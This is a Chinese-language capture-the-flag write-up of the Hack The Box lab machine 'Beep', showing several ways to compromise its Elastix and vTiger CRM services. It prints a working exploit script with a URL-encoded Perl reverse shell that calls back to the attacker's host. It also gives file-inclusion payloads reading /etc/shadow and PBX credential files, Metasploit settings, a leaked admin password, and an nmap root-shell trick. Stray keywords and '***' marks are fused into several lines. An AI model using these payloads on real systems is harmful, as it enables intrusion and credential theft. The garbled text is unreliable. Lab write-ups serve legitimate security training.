此次挑戰的是 HTB 的第5臺靶機:Beep,評分很高,難度中等
php
靶機描述mysql
Beep 運行了大量的服務,這對正確發掘入口點有必定的挑戰,因爲存在大量的***向量,或許會讓你不知所措,幸運地是,有多種方法能夠***此係統。web
技能收穫sql
基本信息
Kali ip :10.10.14.23
Lameip:10.10.10.7shell
nmap -T4 -A -p- -v 10.10.10.7
確實,開放了很多端口和服務
重點關注幾個常見服務 22(ssh)、80(apache)、443(https)、3306(mysql)、10000(httpd)數據庫
訪問 http://10.10.10.7:80 無反應,maybe it doesn't work
因而枚舉https的web應用apache
dirbjson
dirb https://10.10.10.7
dirb 枚舉失效,看來 ssl 支持不理想?vim
dirbuster瀏覽器
dirbuster https://10.10.10.7
存在大量的目錄、後臺管理程序,慢慢研究
sslscan
sslscan 10.10.10.7
協議層沒法突破,到web應用層尋找突破口
Elastix
訪問 https://10.10.10.7:443 ,返回登陸頁面
Beep靶機使用了 Elastix 系統
使用默認用戶密碼嘗試,未果
Username: admin Password: palosanto
搜索一下 Elastix 系統的歷史漏洞
入口一
參考第一條"代碼執行漏洞",https://www.exploit-db.com/exploits/37637
exp 修改以下,保存爲 cmd.py
import urllib import ssl rhost="10.10.10.7" lhost="10.10.14.15" lport=4444 extension="233" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Reverse shell payload url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A' urllib.urlopen(url, context=ctx)
咱們須要使用定位到本地的 SIP extension ,使用Kali自帶工具 svwar
$ svwar -m INVITE -e100-300 10.10.10.7 | Extension | Authentication | ------------------------------ | 233 | reqauth |
此時,將以上腳本的 etension 修改成233
從以前 sslscan 的掃描結果咱們看到 Beep 只支持 TLSv1.0,所以咱們須要修改 Kali 的openssl配置文件
vim /etc/ssl/openssl.cnf #將 [system_default_sect] MinProtocol = TLSv1.2 CipherString = DEFAULT@SECLEVEL=2 #修改成 [system_default_sect] MinProtocol = None CipherString = DEFAULT
此時,運行 cmd.py ,nc開啓監聽,得到反彈shell
至於提權,該 exp 已經有所描述了
sudo nmap --interactive !sh
至此完成入口一的利用過程
參考第二條"文件包含漏洞",https://www.exploit-db.com/exploits/37637
漏洞簡介
Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. Elastix 2.2.0 is vulnerable; other versions may also be affected.
關鍵利用點
#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
讀取到 amportal.conf,該文件爲Elastix / freepbx鏈接ami的用戶信息配置文件
從以前的目錄枚舉結果中能夠看到,vtigercrm 目錄存在且可訪問
vTiger CRM是一個集成的客戶關係管理(CRM)應用程序,能夠在Intranet上或使用瀏覽器從Internet上使用。
因而訪問連接
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
暴露了 amp 數據庫用戶密碼信息
以上暴露的密碼,登錄後臺
admin jEhdIekWmdjE
成功登陸
考慮到密碼多用的習慣,嘗試ssh root用戶以剛纔admin的密碼遠程鏈接,事實確實如此
至此完成入口二的利用過程
訪問 https://10.10.10.7/vtigercrm
vTiger CRM 的版本爲 5.1.0
其實入口二中的 vtigercrm 程序還存在其它可利用的方式
searchsploit vtiger
正好發現該版本存在的一個缺陷,也是 LFI
查看詳細信息
searchsploit -x 18770.txt
payload 以下
https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00
暴露 /etc/passwd
暴露用戶鏈接信息配置文件 /etc/amportal.conf
https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
一樣能夠暴露ami的用戶配置文件 /etc/asterisk/manager.conf
參考:https://www.vtiger.com/docs/asterisk-integration
https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%00
關於入口二和入口三,若是web程序的密碼和系統密碼不存在複用的話,怎麼辦?
metasploit中集成了 vtigercrm v5.1.0的一些缺陷,演示以下
search vtigercrm
使用 exploit/multi/http/vtigerphpexec,失敗
使用 exploit/multi/http/vtigersoapupload,成功
use exploit/multi/http/vtiger_soap_upload set RHOSTS 10.10.10.7 set SSL true set RPORT 443 set LHOST 10.10.14.23
至此成功發現 user.txt ,下一步想辦法權限提高
命中**Nmap*,以root權限執行且無需認證
較早版本的Nmap(2.02至5.21)具備交互模式,該模式容許用戶執行Shell命令 因爲Nmap在以root特權執行的二進制文件列表中,所以可使用交互式控制檯來以相同的特權運行shell
sudo nmap --interactive !sh
至此完成